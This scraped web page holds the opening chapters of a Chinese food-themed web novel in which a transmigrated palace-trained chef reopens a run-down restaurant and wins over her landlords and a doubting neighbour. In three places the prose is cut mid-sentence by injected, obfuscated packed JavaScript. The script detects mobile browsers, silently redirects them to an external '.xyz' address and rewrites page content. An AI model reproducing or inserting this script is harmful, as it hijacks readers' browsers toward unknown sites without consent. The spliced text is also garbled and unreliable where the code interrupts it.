《厨神重开小酒馆[美食]》 1. 排骨炖豆角土豆 九月，溪川市刚入秋，温度不冷不热，正是舒服的时节。 早上七点半，阳光照进楼道。 江云枫下楼，碰见一个五十多岁的女人正提着一些菜上楼，根据原主模糊的记忆，江云枫认出了这是楼下邻居苏慧茹。 “苏阿姨，您买菜回来啦。今天都买的什么菜？”江云枫扬起一个笑，大大方方打招呼。 苏慧茹一愣。 在她印象中，江云枫因几月前父母车祸去世，性格变得阴郁，经营父母留下的江家小酒馆也很不成功，整个人神情憔悴，见人躲躲闪闪不讲话。 可面前的江云枫像是换了一个人，面色白里透红，眼中有坚定的光，修身的棕色风衣很显气质，周身自带泰然自若的气场，还主动打招呼。 或许是最近没怎么碰见，江云枫休养好了？ “是啊......刚从菜市场回来。”苏慧茹报出手里提的几种菜，“小江，好久没见你了，这么早出门是去哪里啊？” “去我家小酒馆，收拾收拾重新开张。”江云枫笑意更深。 “呃，其实不是每个人都擅长做饭的......”苏慧茹露出痛苦的表情，“小江啊，阿姨说话比较直白，你可能不适合经营饭馆......” 周围人都知道江云枫做菜堪称研制生化武器！ 米饭馅的包子，咬一口惊艳了众人；大肠与杨梅同炒，食客面面相觑；蓝色的章鱼与鸡蛋一起蒸，成就克苏鲁佳肴。哪怕是日常的小炒，咸得也像是把卖盐的打死了。 “放心吧阿姨，最近我苦练厨艺，现在已经有大厨水平了。有空一定来我店里吃饭，要不然过段时间人多了，怕是会排不上座位。”江云枫灿然一笑，和苏慧茹挥手道别，“我先去店里了。” “好吧。”苏慧茹欲言又止，挥挥手。 江云枫轻快地走下楼，转角时，她耳朵上的暗红色枫叶耳钉，被阳光照得闪了闪光。 “这么自信。”苏慧茹笑着摇摇头。 她虽然不相信江云枫厨艺进步多少，但还是准备过几天去店里吃饭。 不是怕排不上队，是怕江云枫店里没营业额连饭都吃不起，去捧个场，算是老邻居的接济。 苏慧茹当然想不到，现在的江云枫，已经不是原来那个江云枫了。 - 江云枫在农贸市场买了食材，又淘了一口新铁锅、几个二手旧陶罐和几束花，拎着大包小包回程，走进一条小巷，七拐八拐，终于来到了江家小酒馆门前。 看着江家小酒馆破旧的门头，她陷入了回忆中。 这是江云枫穿越到现代的第十天。 穿越前的那一世，江云枫祖母是大梁宫中名厨，告老离宫后，将厨艺全部传给打小喜欢做饭的江云枫，并在京城开起小酒馆。 京城贵胄本是应着祖母的名头来，却拜倒在江云枫脚下，大梁皇帝也几次试图招揽她入宫当御厨，不成，退而求其次，常派专人前来订菜。 江云枫成了宫中与市井公认的“大梁第一名厨”，小酒馆逐渐发展成五层的江家酒楼，伫立在京城最繁华的地段。 每晚华灯亮起，气派的江家酒楼便觥筹交错，热闹非凡，江云枫也是日进斗金，闲适一生。 八十岁寿终正寝后，江云枫穿到了现代，一个跟她同名同姓、相貌也和她年轻时一样的23岁女生身上，而这个世界的原主“江云枫”刚刚因为胃癌去世。 由于原主最后一个月在家中度过，隐瞒了病情，原主身边的人并没察觉到异样。 作为见过大世面的人，江云枫很快接受了穿越的事，通过原主记忆和自己摸索，这些天她基本适应了现代生活。 江云枫回过神，印象中气派的“江家酒楼”古代牌匾消失，视线中只剩蒙尘的“江家小饭馆”现代招牌，她用钥匙成功打开了卷闸门，店铺内脏乱破旧。 这家饭馆本是原主父母在经营，生意一般但还能糊口，原主父母车祸去世后，不会做菜的原主被迫继承饭馆，做出来的黑暗料理劝退了为数不多的老食客。 世事无常，江云枫也很感慨，前几天她去了寺中，为原主及其父母烧香祈福。 而现在，告别了过去，是让江家小酒馆重新营业之时了。 江云枫昨天来店里看过，店铺资质齐全，水电都通，一二十平方米的大堂放着六张四人桌，小厨房有冰箱、两个灶台、齐全的餐具，打扫一下就可以营业。 收拾出了一张干净桌子放购置的物品，又找来了打扫工具，江云枫卷起袖子，打了个响指：“那就开工！” 扶正椅子，擦净布满灰尘的桌椅，厨房桌面与灶台死角弄干净，清理抽油烟机，扫地拖地、收拾冰箱，丢垃圾…… 忙碌良久，江家小酒馆焕然一新。 江云枫又将陶罐洗净擦干，灌上水，几束花插入罐中。 火焰兰单枝比小臂都长，枝条伸展，细长条的橘红花瓣，像火焰燃烧；小柿子果实小巧，褐色的枝条细密排布；牡丹菊整体很大颗，花瓣多而细碎地聚拢，幽蓝中带着几分淡粉。 每桌一瓶插花，整个门店都清雅了很多。 “真不错。”江云枫满意地扫视着窗明几净的店铺，看了眼墙上的挂钟，临近十一点，她有点饿了。“得好好做顿饭犒劳自己。” 江云枫将营业做菜用的食材放进冰箱保鲜，剩下的食材拎进厨房，准备做一道排骨炖豆角土豆做午饭。 淘好的米放入电饭煲，洗净的配菜放上菜板。 刀在她手中格外听话，手起刀落，削了皮的土豆被切成大小相仿的滚刀块，豆角也从细长条变为若干小段，斜刀一铲，在盘中堆成小山。 焯水后的排骨，落入轻微冒烟的油锅，呲呲啦啦的声响，伴随着跳动的细小油花冒出，排骨的香味瞬间被激发，肉香伴随着油香扑面而来。 锅铲在锅中灵活飞舞，排骨两面煎到金黄，焦香气息在空气中浮动，加入香料来回翻炒，甜味与辛香包裹肉块，平淡的肉味染上诱人气息。 淋入料酒慢慢蒸干，香味锁在肉中，再加入江云枫精心配比的酱油、生抽和蚝油，排骨登时变成深棕色。 盖上盖子转小火慢炖，浓郁的肉香，混合着咸鲜的酱香，从排气口氤氲而出，江云枫浅浅吸一口气，满意地笑了。 等待肉炖煮好的间隙，江云枫端起新铁锅进行开锅。 新铁锅刷洗干净，里外擦干，开火，将锅打着圈均匀烘干，内壁用食用油涂抹加热两次，再用猪肉脂肪炼油涂抹一次。 原本灰扑扑的铁锅，形成了一层清凉的油膜，仿佛有了灵气。 江云枫最后一次用食用油涂抹锅的内壁，静置到明天新锅就能用了，做出来的饭也会更有锅气。 排骨基本炖好，切好的豆角和土豆倒进锅内，水淀粉勾芡，出锅之时，汤汁格外浓稠。 木盆木碗，分别盛了排骨炖豆角土豆和米饭，上桌。 “开饭！”江云枫面对扑面而来的肉香和米香，食指大动。 米饭冒着热气，江云枫夹了一筷子送入口中，每一粒都水分正合适，入口软糯，又略带弹性。 “就是缺了点柴火饭的味道。”江云枫还是觉得现代的电饭煲不够好用。 深棕色的排骨有粗糙的纹理，表面泛着油光，丝丝缕缕的肉香，伴随着飘渺的热气，钻入鼻孔。 江云枫夹起一块排骨，咬着肉轻轻一嗦，大块的肉直接脱骨。 慢炖之下，酱香与香料味已经浸润每一寸肉中，肉的鲜美香气、酱的浓郁醇厚，在口中散开，排骨肉质也格外紧实，每嚼一下，肉的弹牙之感更能引起味蕾的愉悦。 那圆柱形的骨头也炖得酥了，咬一咬，骨头软烂成泥，轻啜一口，骨缝中的骨髓伴着肉汁，刺激着味蕾，香味更甚。 一口下肚，回味无穷。 “排骨还不错，火候正好。”江云枫点点头。 深绿色的豆角，炖得软榻褶皱，缝隙都被肉汤的深棕色填满，整体裹上一层淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只不过上一世她太长寿，徒弟们早她十年一一去世，江云枫暂时没有什么找人的头绪，毕竟相隔近十年，且大梁人口才一千万，前几天她在原主那个被称为“手机”的发光小方块上看到，这个地方人口15亿。 不过江云枫现在最主要的目标，是赚钱。 想到这里，江云枫放下筷子，从帆布包里拿出一个账本，翻开来看。 第一页上，有三行漂亮的簪花小楷，出自江云枫之手： 【店铺房租1000元，限时10天】 【房贷8000元，限时30天】 【小狗治疗费5000元，？？？】 昨天她结合原主记忆算了算原主的财产，发现了这三笔即将要交的钱，记录了下来。 第一笔是江家小酒馆下个月的房租，第二笔是原主家的房贷。 让江云枫疑惑的是第三笔欠款，因为家里没有狗存在过的痕迹，原主记忆残缺且模糊，这笔钱还给谁、什么时候还，完全不知道，她决定先赚前面两笔。 原主治疗胃癌后，如今身上只剩下800元现金。 这些即将要交上的钱看上去很多，却只是上一世江家小酒馆几分钟的营业额罢了，日进斗金的生活江云枫过腻了，从一穷二白起步还挺有趣的。 江云枫淡定自若地翻看账本，拿笔算着营业额。 手里的800元现金，要用于日常开销和购买食材，不能直接交租。要交上10天后的店铺房租，每天营业额至少100元。 江家小酒馆地处偏僻，也没回头客，卖薄利多销的早餐难以达到这个营业额，但是卖午餐还可以。 在溪川市，黄焖鸡都要二十出头，按这个价格计算，每天需要卖出5份饭菜，就可以达成营业额。 江云枫翻开新的一页，写了几道准备上新的菜名和价格。 现在的首要目标，是想办法每天招揽5个食客。 除此之外，她更大的野心，是一步一步复兴五层江家小酒馆往日的繁荣，以及恢复她大梁第一名厨的身份！ 正想着，一对四十多岁的夫妻，带着一个八九岁的小女孩进了店。 她本能以为是食客，可按照原主的记忆仔细辨认，认出了这是租给她店铺的房东一家。 房东夫妻皱着眉头，脸色很不好看。 2. 排骨炖豆角土豆2 在原主记忆中，男房东梁晖虎背熊腰，很有压迫感。女房东龚书蕾戴着细框眼镜，看着斯文却很计较。他们的女儿芸芸只跟江云枫打过照面。 房东夫妻俩仗着原主父母去世了没靠山，经常提前半个月上门讨要下个月房租，原主性格软，架不住两人软硬兼施，每次都迫不得已提前交租。 江云枫可不怕这个，早年和祖母一起白手起家经营小饭馆时，上到王公贵族，下到地痞流氓，哪个不是被她收拾得服服帖帖的。 想到这里，江云枫无所谓地笑笑，把账本收到包里。 两人走到桌前，还没讲话，江云枫率先开口：“坐吧。” 房东夫妻一愣，之前江云枫见到他们都是唯唯诺诺的，这次却格外镇定，她的语气虽然平静，却带着让人忍不住服从的气场。 “江云枫，下个月房租该交了。”梁晖抱着胳膊坐在江云枫对面，有些不耐烦，凳子被他坐得吱吱呀呀响。 刚坐定，那排骨的香味扑面而来，直窜梁晖鼻孔，他迷糊了一瞬，又赶紧把视线从排骨上移走。 芸芸似乎已经习惯了这个场面，在店里东看看西看看，扎得高高的马尾一甩一甩的。桌上的几瓶插花最吸引她，看了一圈，她在隔壁桌坐下。 “还没到时间呢，这不还有十天，十天后我会按时交钱的。”江云枫云淡风轻地笑着，夹了块土豆送入口中。 “小江，你看之前我们都是提前半个月收租，这次只提前十天，很体谅你了。”龚书蕾在梁晖身旁坐下，扶了扶眼镜，温和的语气转而带了几分威胁，“你也体谅一下叔叔阿姨，现在就交租，别让我们生气。” “阿姨，租赁合同里写得清清楚楚，每月最后一天交租金。以前提前交租是情分，敬你们当我们家老房东这么多年，现在按时交租是本分，您没立场生气。”江云枫不为所动，依然保持着微笑，“前段时间我家饭馆没营业没收入，于情于理，您都不该逼我的，对吧？” 龚书蕾话不占理，被问得说不出话。 梁晖却声音提高八度，更加咄咄逼人：“说这些没用，合同还有两个月到期，我看你这饭馆，开不了几天就得倒闭了，不能提前交租，那就赶紧搬走，别影响我租给别人。” “凡事呢，讲究个适可而止。”江云枫眉头一皱，放下筷子，筷子碰着碗沿“铛”的一声轻响。 她声音只提高了两分，眼底笑意冷了些，却将夫妻二人的气势削减了大半，这是梁晖第一次有点担心江云枫会发火。 “我家饭馆今天开始重新营业，提前搬走绝无可能，而且我会一步一步越开越好。” “如果您认为合同是废纸一张，我不介意报官......报警，也不介意打官司。但是再这样来店里打扰我，我可不客气了。” 江云枫凛冽的目光好像能穿透人心，两人都不敢直视她。 “你......”梁晖向来欺软怕硬，听到这里怂了。 “有话好好讲嘛，是吧，什么报警打官司的，都是街坊邻居的，不用闹这么大。”龚书蕾语气瞬间软下来，打着圆场，“你别生气，这么一个大美女生气了容易长皱纹。” 之后还要和两个房东相处至少两个月，江云枫不会把事情做绝，见两人不再咄咄逼人，她又拿起筷子继续吃排骨，语气恢复了平静。 “再者，这门面偏僻，少有客人来，如果我搬走不续租，恐怕你们空置几个月也租不出去，到时候损失的钱可不是一点半点。” 之前的原主生怕房东俩把店铺收走，这让梁晖有恃无恐，没考虑过续租给谁的问题。 现在江云枫一说，他才想起新房客确实不好找，租给江云枫父母之前，甚至有将近一年没租出去。 梁晖心里要不到钱的愠怒，彻底熄灭。 房东夫妻都意识到，江云枫彻头彻尾地改变了，不再像之前那么好拿捏，甚至还有点刺头。 虽然不知道为什么一段时间不见，她像是变了个人，但他们知道最好不要再跟江云枫硬碰硬，免得惹麻烦。 见江云枫给台阶，梁晖赶紧借坡下驴：“你说得对，刚才是我们急着收房租给孩子报辅导班，有点冲动了。在这偏僻的地方经营饭馆也不容易，你这边按时交租就行。” 房东夫妻无措地对视一眼，准备带着女儿离开，没想到还没起身，女儿芸芸先同江云枫搭起话。 “姐姐，你吃的排骨好香啊，能不能让我也吃一口？”芸芸眼睛直直地盯着江云枫碗里的饭菜，吸溜了一下口水。 江云枫嘴角泛起一抹笑意，歪了下头，耳垂上深红色枫叶耳钉在阳光下闪了闪光。 意料之中，上钩了。 刚才芸芸刚坐下，就被桌上饭菜的香味吸引了。 八九岁正是贪吃的年纪，味觉嗅觉也都格外灵敏，混合在空气中的排骨鲜香、土豆的绵香、豆角的菜香，被芸芸的鼻子悉数捕捉，视线也跟随着江云枫的筷子上上下下。 江云枫注意到了这一点，在讲话之际也没停止吃东西，她想看看这个芸芸会不会被吸引成为自己的第一个食客。 “别这样，那是姐姐的饭，你要是饿了我们去别的地方吃。”房东夫妻听到芸芸说这话，大惊失色。 两人本打算跟江云枫要了钱，一家三口出去下馆子，所以都没吃饭。可即使再饿，他们也绝不想在江家小酒馆吃饭。 原主父母去世后，房东一家去过江家小酒馆吃饭，原主做的蓝色可乐鸡翅，惊艳了一家人，不知道的还以为把外星人的翅膀炖了。 原主还做过很多菜，看着正常，味道是说不出的古怪。 “没事，锅里还有没动筷子的，可以给孩子试吃一下。”江云枫转头去厨房，用干净盘子盛了两块排骨，几根豆角和一块土豆。 “不用了。”房东夫妻可不想让孩子吃乱七八糟的东西，一左一右钳起芸芸就准备跑。 “我不走！我就要吃这个！”芸芸踢着腿挣扎。 芸芸在家里就是个混世小魔王，想要什么会一直闹到得到为止，两人也怕拉扯伤到她，拖了半天没拖出门，只好叹口气作罢。 另一边，江云枫已经将盛好的排骨放上桌：“我厨艺精进了不少，试试看，好吃的话，你们中午可以在这里吃。” 芸芸见放好了筷子，立刻甩开爸妈的手，飞奔到了桌前，还没摸到筷子，那筷子就被梁晖抢了去。 “还是我先试毒吧。”梁晖虽然闻到了面前的排骨香气，却不敢掉以轻心让女儿先吃，说不定味道会很死亡。 他夹起一块排骨，送入口中，痛苦地闭上了眼睛。 预想中的苦味、怪味、辣味全都没出现。 牙齿轻松划开排骨上的肉，那肉软烂中带着几分嚼劲，嚼一嚼，肉中浸润的肉汁挤压出来，浓郁的肉香、咸得恰到好处的酱香融合在一起。 太美味了！ 梁晖眉头展开，继续咀嚼，中间的骨头酥酥软软，在后槽牙挤碎成齑粉，慢炖了一个多小时的香味精华都吸收进了骨缝，这下全部在味蕾上绽放。 吃完一块，满口肉香，回味无穷，堪称享受。 “竟然......有点好吃？”梁晖惊讶地睁大了眼，看着江云枫，又很快心虚地避开她的视线，毕竟一分钟前，他还称吃这块肉为“试毒”。 芸芸等不及了，从桌上的竹筒里抽出一双新筷子，把盘中最后那块排骨塞进嘴里。那块排骨很大，把她腮帮子一侧顶得鼓鼓的，像蜡笔小新。 这块排骨全是肉，牙齿咀嚼间，削下无数细细的肉丝，每一丝都格外入味，肉香随之慢慢绽放，一小块肥肉滑滑的，用舌头就可以推开，油脂香气格外肥美。 芸芸最爱吃的，就是包裹在瘦肉中的脆骨，“咔吧咔吧”的咀嚼声，让她莫名有种满足感。 一块下肚，不仅没解了芸芸的馋虫，反而让她流出更多口水来。 “一共就没几根豆角，你别吃完了！”芸芸刚吃完，就看到梁晖夹起豆角往嘴里送，她拖长了声音，急得直跳脚。 “好好好，不吃了，我这不是帮你试试看味道嘛......”梁晖说着，细细嚼着豆角，胖胖的脸一抖一抖。 那豆角软硬正合适，保留原本菜香的基础上，又被排骨增加了丰盛的肉味，比肉更清淡一些，却不减香味。 “太夸张了你俩。”龚书蕾看呆了，按理说吃完江云枫做的菜应该面如菜色才对，她凑到梁晖耳边小声发言，“这豆角都被排骨汤染成棕色了，不老吗？” “谁说这豆角老了？这豆角可太棒了！”梁晖激动道。 “这豆角可太棒了！”芸芸咬住豆角的一头，往嘴里嗦，豆角入口，酱汁却留在了嘴巴一圈，她又舔了舔嘴唇，香香的肉汤味覆盖唇舌。 还剩最后一块土豆，父女俩都虎视眈眈地盯着，还没开抢，龚书蕾却先拿了一双新筷子，捞起土豆就往嘴里送：“我倒是要看看有多好吃，能把你们迷成这样。” “啊——你怎么这样！”父女俩皱着眉头抗议。 龚书蕾细细咀嚼着土豆，准确地说，那土豆轻抿就慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793534|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢化开了，土豆泥绵软细腻地融化，绽放出淀粉细腻的香气，里面包含的肉汁香得不行。 而且肉汁的含量也正合适，多一分，就会让土豆化得四分五裂，少一分，又会让土豆太干噎得慌，这样正合适的肉汁分量，让土豆从质感到味道都很惊艳。 “这么好吃......”龚书蕾也惊讶道，看向江云枫的眼神都不一样了，“真没想到一个多月不见，你的厨艺能进步这么多！” “这厨艺进步可不是一点点，完全上了一个层次啊......”梁晖发自内心地感慨道，“你怎么做到的？” 虽是常见的排骨，江云枫做出来的味道却有种勾人的魅力，应该是火候掌握到位，再加上酱汁不同寻常，他之前在任何一家饭店都没吃到过这么香的排骨。 “我啊，专门拜了个名厨学习，不过这个名厨要我保密，具体的就不多说啦。”江云枫狡黠地眨眨眼，她说的其实是自己的御厨祖母。 刚才江云枫说要把小饭馆一步一步开好，夫妻俩是不信的，可现在，两个人突然觉得也不是不可能。 “怎么样，要不要在这里吃？”三个人的反应都在江云枫的预料之中，她看着上钩的三个人，笑意更深。 “要吃！”芸芸高举着手，表示还没吃够。 “那......我们就在这里吃吧，你重新营业，支持支持你。”房东夫妻想起刚才逼着江云枫交租，都尴尬地红了脸，“要三份排骨饭，多少钱？” 几分钟的时间内，他们早就抛弃了立场，从和江云枫对抗，到防备江云枫，再到被江云枫绝味的饭菜吸引、着迷。 江云枫摊开账本，上面写着之前就定好的价格：“排骨炖豆角土豆32元，包含米饭，今天重新营业第一天，饭菜打八折。” 梁晖看到菜单上还有别的几种菜，不过担心江云枫厨艺水平不稳定，还是决定先吃不会踩雷的排骨，扫码付了款。 “好嘞，马上上菜~”江云枫回厨房拿出大碗，先盛了米饭铺底，再将排骨舀在米饭上，最后打着圈淋汤汁。 浓郁的汤汁从排骨顶端往下流，又从米饭的缝隙渗透进去，雪白的米饭被棕色填满，汤汁里细碎的油花也掺入米饭中。 江云枫又泡了一壶大麦茶，同饭菜一起端上桌，大堂里的一家三口，迫不及待地一替一口开吃。 鲜嫩的排骨格外温热，将味蕾全部激活，米饭外层被浓香汤汁包裹，内里还是弹的，混合同嚼，那肉丝、米饭、汤汁融合在一起，呼一口气，香味伴着热气四散。 口腔被美食填满的感觉让人格外满足，肉块碎成肉糜，豆角散发菜香，土豆泥逐渐融化，满口香喷喷的食物，让三个人香得眯起了眼睛。 大麦茶在热水中冲泡出浅棕色，喝一口，幽香温热的茶水冲走了口中的咸香味道，清润又解渴。 “太美味了，吃完整个人都暖烘烘的。” 风卷残云地吃完最后一口，三个人满意地擦擦嘴，连盘底的酱汁都快喝干净了。 “今天真不好意思，不该催着跟你要房租。”梁晖感受到了什么叫“吃人嘴短”，罕见地道歉，“你要是继续保持这个厨艺水平，饭馆肯定能开得很好。” “对，我还挺期待你家店做大做强的样子。”龚书蕾突然有种养成系的想法，看着一家店从破败变兴盛，也很有趣。 “一定会的。”江云枫早已胸有成竹，“也希望两位可以跟街坊邻居宣传一下，帮我增加些客流量。” “没问题！” - 万弘顺六十来岁，他的杂货店就开在江家小酒馆隔壁，早上九点多，他拄着拐杖到店，开门营业。 正晒着太阳听收音机呢，万弘顺突然闻到一股排骨香，出来一看，闭店有段日子的江家小酒馆竟然重新营业了，而且他们这两家门面的房东还在里面吃饭。 闻着香并不代表吃着香，这一点，万弘顺在江家小酒馆领悟过，曾经吃到江云枫做的蓝莓牛肉饼，差点背过气去，索性后来又吃到一盘紧张刺激的土豆丝炒姜丝，被救活了。 自此之后他再也不去江家小酒馆了。 看着房东一家吃完饭出了门，万弘顺拄着拐杖走到店门口，叫住房东：“梁房东，你们一家三口可真能忍耐，这么难吃的饭都能咽下去。” “对了，梁房东，你看这地方偏僻，也没什么人去这个江家小酒馆，干脆等这饭馆倒闭了，把隔壁租给我当仓库，怎么样？” 万弘顺说这话时，并不知道江云枫正在送客，也来到了店门口。 3. 三杯鸡 江云枫还没说话，梁晖率先开了口。 “啊？”经过刚才一顿饭，梁晖已经完全改变了对江云枫的态度，“不了，在这么偏的地方开饭馆不容易，而且......江云枫现在可不一般，你吃一次她做的饭就知道了。” “什么？”万弘顺还以为自己听错了。 “真的超级好吃，能把人香迷糊！”芸芸补充道。 “老万，有空你也去隔壁吃点东西吧，绝对不后悔。”龚书蕾说着，跟万弘顺道别。 “梁房东，你不再考虑考虑了吗？”万弘顺还以为房东会一口答应，没想到会吃瘪。 “不考虑了！” 万弘顺转头一看，才注意到江云枫在旁边，脸上一阵风云变幻：“小江啊，你是给房东他们下了什么迷药吗？” “没有，只是厨艺提升了不少。您中午没吃饭呢吧？要不来我店里吃？” 江云枫并不为万弘顺说自己做菜难吃而生气，毕竟要摆脱“黑暗料理”的印象，还需要一定的时间。 而她会用美味让每个人心服口服。 “别别别，我还想多活两年呢！而且我儿子中午来给我送饭，一会儿就到了。”万弘顺连连摆手，拄着拐杖加速回了杂货店。 江云枫无所谓地笑笑，转头回去收拾碗盘了。 - 万弘顺的儿子万磊今年35岁，人踏实能干，但因为大龄失业找不到工作，转而每天给自家杂货店送货。 时间已过十二点，万弘顺肚子饿得扁扁的，刚要打电话催儿子赶紧来，万磊就开着面包车，来到了杂货店门店，下车后打开后备箱，将一车日用品货物搬进店。 “你今天怎么来得晚了很多？”万弘顺疑惑，儿子平时很守时。 “我在路上遇到梁房东他们了，一直在跟我讲江家小酒馆重新营业了，有多么多么好吃，给我讲得都馋了。”万磊说着，咽了咽口水。 “算了吧，我可不相信，你真是忘了上次吃到土豆丝炒姜丝的场面了。”万弘顺摇头，“我饿了，你带的饭呢？” “哦对了，我正要说，我妈今天跟王婶她们搓麻将，饭也在她们家吃了，就没做饭，咱爷俩得自己找吃的了。”万磊无奈地挠挠头，“咱俩去隔壁吃吧，万一好吃呢？” “一个月厨艺从负到正，这概率跟买彩票差不多。要是好吃我倒立吃肥皂。”万弘顺用拐杖敲了一下地，连连摇头，“我不吃，你给我点个外卖。” “好吧。”万翔宇拗不过老爷子，拿手机让他看了半天的外卖，最后点了黄焖鸡，“我不点外卖了，前几天吃的外卖感觉都是预制菜，一吃就拉肚子，实在受不了了。我去隔壁点份饭尝尝。” “你跟我一起去呗，只看不吃，咱们也验证一下江云枫手艺变了没。” 万弘顺本想拒绝，但一想只看热闹也没什么损失，而且他也有点好奇，索性答应下来。 - 江云枫刚刷完碗盘，就见父子二人进店，笑着迎上去：“怎么样，万老爷子改主意了？” “我可没有，刚点了黄焖鸡外卖，是儿子非要来吃，我跟过来看看。”万弘顺双手拄着拐杖，很不客气道。 “我点一份饭，他在店里吃外卖，应该......可以吧？”万磊觉得有点不合适。 “没关系，正好可以对比一下哪个好吃，坐吧。”江云枫无所谓地摆摆手。 往日在大梁，江家小酒馆刚开起来时，也有不少人带着别的大酒楼的饭菜前来踢馆，无一不被比下去。江云枫不介意再跟现代的外卖比一比。 江云枫把写了菜名和价格的本子拿来，给两人看：“今天重新营业第一天，价格打八折。” “那就......要一份三杯鸡好了。”万磊也不确定哪个好吃，干脆点了最便宜的25元的三杯鸡，先尝试一下会不会再踩坑。 “好的，稍等我去做菜，你们先喝茶。”江云枫给两人各倒了一杯大麦茶，转头去了厨房。 万磊看着桌上插在陶罐里的花，生机勃勃又透露出生活气息，叹道：“这布置可真清雅。” 让三杯鸡味道更香的，第一是食材的选用，黄酒要选澄澈清亮、酒香十足的，米酒也应甜度适中，往日在大梁，江云枫都自酿黄酒，现在来不及酿酒，她用刚才在农贸市场上买的绍酒代替。 鸡肉也要选比普通鸡更肥美的三黄鸡，那斩成小块的鸡肉看上去就格外细嫩，鸡皮上略带雪白如玉的油脂，清水冲洗，会软软弹弹地晃动。 第二是酱料调制，比例适当的酱油、浓稠的米酒，再加上用猪肥肉熬出来的猪油，作为调味料极佳。 第三是处理手法，鸡肉先在油锅中炸香，再入砂锅，加酱料炖煮，隔段时间开盖搅拌避免糊锅。 江云枫娴熟地烹饪着，厨房内油脂的扑鼻香气、鸡肉的香味、酱油的醇厚、米酒的清冽，还有淡淡的酒气融合在一起，每一次呼吸都是一种享受。 待到砂锅中卤汁收浓，江云枫将那泛着浅浅油光的金棕色三杯鸡块盛出，配了米饭，端去大堂。 “上菜了，请慢用。” 江云枫将三杯鸡放在万磊面前时，万弘顺点的黄焖鸡外卖也到了，放在一起，对比明显。 万弘顺以为三杯鸡会被江云枫做成什么难吃的鬼东西，却见那碗中大块的鸡肉都有焦焦的边缘，整块都呈现出诱人的深棕色，伴随着热气一同氤氲在空气中的香气，更加致命。 和他点的黄焖鸡香味不同，这三杯鸡的香气除了鸡肉香，还有一股恰到好处的酒气和甜味，闻着温和不刺鼻，却有种勾人的神秘气息，让人想要探究，这鸡肉还能做出什么有花样的味道。 万弘顺看看自己面前的黄焖鸡，再看看儿子面前的三杯鸡，忽然感觉自己手里的饭不香了。 热乎乎的香味直往鼻孔里钻，万磊已经迫不及待开吃了。 先喝了一口大麦茶，温热的茶水流经口腔，清香四溢，茶水润过喉，让他食欲大增，舔了舔嘴唇，夹起一块三杯鸡。 鸡肉氤氲着丝丝缕缕的热气，表面被点点油光包裹，送入口中，浓郁的酱香在舌尖晕开，嚼一嚼，鸡肉本身的质地鲜嫩，经过油炸后，又带了几分焦香和韧性。 “这肉好鲜呐。”万磊睁大了眼睛，不可思议地看着万弘顺，“我还以为只是【能吃】，没想到竟然这么好吃！” 酒气带着轻微的刺激性，让舌尖微微发麻，而冰糖和甜米酒带来的回甘，又让这刺激性也变得充满愉悦，这一口味道，丰富得让万磊赞叹。 “哇......不仅鸡肉是肥瘦相间的那种，口感带着活泛劲儿，味道也很别致。” 万弘顺心思有点动摇了，想尝一口，却又抹不开面子，只冷哼一声：“鸡肉而已，差别能有多大？” 他吃了一口自己点的黄焖鸡外卖，那鸡肉微硬，不太好嚼，不知道是有点柴，还是用的冷冻肉，鸡肉香气不足，大部分味道都来自浓浓的酱油，但是口味单调。 老爷子有气无力地嚼着黄焖鸡，万磊则越吃越起劲。 万磊把几块肉塞进嘴里，感受着食物塞满口腔的幸福感，浓郁的酱汁伴随着咀嚼，莹润唇舌，让他整个人愉悦起来。 酱汁粘在嘴上，他舔了舔嘴巴。遇到有不太好啃的骨头，他直接上手，大块的肉撕咬下来，连犄角旮旯的骨缝里的肉丝也不放过，骨头吃得干干净净，还“嗦嗦嗦”吸着骨缝。 万弘顺看着儿子吃得那么香，有点郁闷，又夹了块黄焖鸡，怎么吃都感觉这肉是“死的”，没有万磊说的“活泛劲儿”，不香，吃了两口还被骨头茬子硌了下牙齿，更让他恼火。 所幸还有一盒附赠的冰红茶，万弘顺插上吸管，喝了一口，酸甜的柠檬茶确实好喝，可多喝两口，舌头上留着很重的柠檬茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793535|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味道，总让他觉得添加剂和糖量很多。 另一边，万磊咽下一口香喷喷的鸡肉，端起杯子，“咕嘟咕嘟”畅饮大麦茶，喝完还“哈”地呼了一口气，大麦茶的清香和三黄鸡的浓香拌在一起，相得益彰。 万弘顺终于忍不住了，开口道：“这三杯鸡真这么好吃吗？” “当然啊。”万磊说着，还止不住往嘴里送肉块，再扒拉几口被酱汁染成深棕色的米饭，吃得满脸幸福。 “要不，你给我吃一块。”万弘顺忍不住咽了咽口水。 “emm好吧......”万磊刚才还想让老爹尝尝，可这会儿却有点舍不得，思索半晌，勉为其难地分了万弘顺一块肉。 三杯鸡和黄焖鸡摆在一起，差别更加明显，前者简直带着金棕色的光泽，让后者显得平平无奇。 万弘顺夹起三杯鸡，咬了一大口，焦香的鸡皮撕扯而下，白里透棕的鸡肉内部露出，咀嚼间，焦香带着鸡皮油脂的味道，让满口都是香气，内部肉丝也非常入味，鲜美与酒气萦绕舌尖，神秘的味道更加勾人。 一块下肚，万弘顺发自内心感叹：“真没想到普通的鸡肉还能做得这么好吃！相比之下，这黄焖鸡真不算美食了，顶多算是吃了维持生命体征。” 